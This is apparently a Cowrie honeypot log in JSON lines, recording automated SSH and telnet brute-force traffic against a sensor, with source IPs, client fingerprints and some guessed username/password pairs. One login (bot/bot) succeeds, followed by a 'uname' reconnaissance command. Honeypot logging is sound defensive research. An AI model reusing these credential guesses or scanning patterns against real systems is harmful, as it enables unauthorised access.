{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:06.288768Z","src_ip":"176.65.132.129","session":"08eb2c692716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:06.412923Z","src_ip":"80.94.92.184","session":"deff41c5dd4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.958802938461304,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:07.162790Z","src_ip":"152.42.224.71","session":"5af84dda0ab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57178,"dst_ip":"159.203.135.109","dst_port":22,"session":"aba5f09b5521","protocol":"ssh","message":"New connection: 176.65.132.129:57178 (159.203.135.109:22) [session: aba5f09b5521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:08.118296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:08.123715Z","src_ip":"176.65.132.129","session":"aba5f09b5521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:08.206176Z","src_ip":"176.65.132.129","session":"aba5f09b5521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:08.450706Z","src_ip":"176.65.132.129","session":"aba5f09b5521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38378,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a838f0010ee","protocol":"telnet","message":"New connection: 152.42.224.71:38378 (10.17.0.5:23) [session: 3a838f0010ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:08.473950Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:09.638395Z","src_ip":"176.65.132.129","session":"aba5f09b5521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57194,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef9f75d58828","protocol":"ssh","message":"New connection: 176.65.132.129:57194 (159.203.135.109:22) [session: ef9f75d58828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:11.282202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:11.286575Z","src_ip":"176.65.132.129","session":"ef9f75d58828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:11.368421Z","src_ip":"176.65.132.129","session":"ef9f75d58828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:11.618192Z","src_ip":"176.65.132.129","session":"ef9f75d58828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:12.702642Z","src_ip":"176.65.132.129","session":"ef9f75d58828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57206,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1547cb5e9bb","protocol":"ssh","message":"New connection: 176.65.132.129:57206 (159.203.135.109:22) [session: e1547cb5e9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:14.548017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:14.552577Z","src_ip":"176.65.132.129","session":"e1547cb5e9bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:14.635517Z","src_ip":"176.65.132.129","session":"e1547cb5e9bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:14.968448Z","src_ip":"176.65.132.129","session":"e1547cb5e9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":51744,"dst_ip":"10.17.0.5","dst_port":22,"session":"f78d76de2733","protocol":"ssh","message":"New connection: 103.98.149.87:51744 (10.17.0.5:22) [session: f78d76de2733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:15.255095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:15.265498Z","src_ip":"103.98.149.87","session":"f78d76de2733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:16.055276Z","src_ip":"176.65.132.129","session":"e1547cb5e9bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32806,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df87466a2f0","protocol":"telnet","message":"New connection: 152.42.224.71:32806 (10.17.0.5:23) [session: 4df87466a2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:16.062377Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:16.299061Z","src_ip":"103.98.149.87","session":"f78d76de2733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":35132,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f4a5a95951d","protocol":"ssh","message":"New connection: 122.166.167.154:35132 (159.203.135.109:22) [session: 5f4a5a95951d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:16.307178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:16.312961Z","src_ip":"122.166.167.154","session":"5f4a5a95951d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:16.566585Z","src_ip":"122.166.167.154","session":"5f4a5a95951d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159159","message":"login attempt [root/159159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:17.343981Z","src_ip":"103.98.149.87","session":"f78d76de2733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32167","message":"login attempt [root/32167] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:17.647779Z","src_ip":"122.166.167.154","session":"5f4a5a95951d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51728,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e67c921b8ba","protocol":"ssh","message":"New connection: 176.65.132.129:51728 (159.203.135.109:22) [session: 1e67c921b8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:17.993911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.002638Z","src_ip":"176.65.132.129","session":"1e67c921b8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.085034Z","src_ip":"176.65.132.129","session":"1e67c921b8ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.331441Z","src_ip":"176.65.132.129","session":"1e67c921b8ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.541697Z","src_ip":"176.65.132.129","session":"1e67c921b8ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.545589Z","src_ip":"176.65.132.129","session":"1e67c921b8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.591187Z","src_ip":"103.98.149.87","session":"f78d76de2733","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.631247Z","src_ip":"176.65.132.129","session":"1e67c921b8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.636829Z","src_ip":"176.65.132.129","session":"1e67c921b8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:18.904546Z","src_ip":"122.166.167.154","session":"5f4a5a95951d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51756,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe20ad20396a","protocol":"ssh","message":"New connection: 176.65.132.129:51756 (159.203.135.109:22) [session: fe20ad20396a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:21.289352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:21.293910Z","src_ip":"176.65.132.129","session":"fe20ad20396a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:21.375857Z","src_ip":"176.65.132.129","session":"fe20ad20396a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:21.621664Z","src_ip":"176.65.132.129","session":"fe20ad20396a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.9207124710083,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:22.197773Z","src_ip":"152.42.224.71","session":"29945d2a145a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:22.737183Z","src_ip":"176.65.132.129","session":"fe20ad20396a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42126,"dst_ip":"159.203.135.109","dst_port":22,"session":"746216666e50","protocol":"ssh","message":"New connection: 80.66.85.226:42126 (159.203.135.109:22) [session: 746216666e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.410084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.414806Z","src_ip":"80.66.85.226","session":"746216666e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51762,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d833fc26abd","protocol":"ssh","message":"New connection: 176.65.132.129:51762 (159.203.135.109:22) [session: 0d833fc26abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.471469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:24.475349Z","src_ip":"176.65.132.129","session":"0d833fc26abd","protocol":"ssh"}
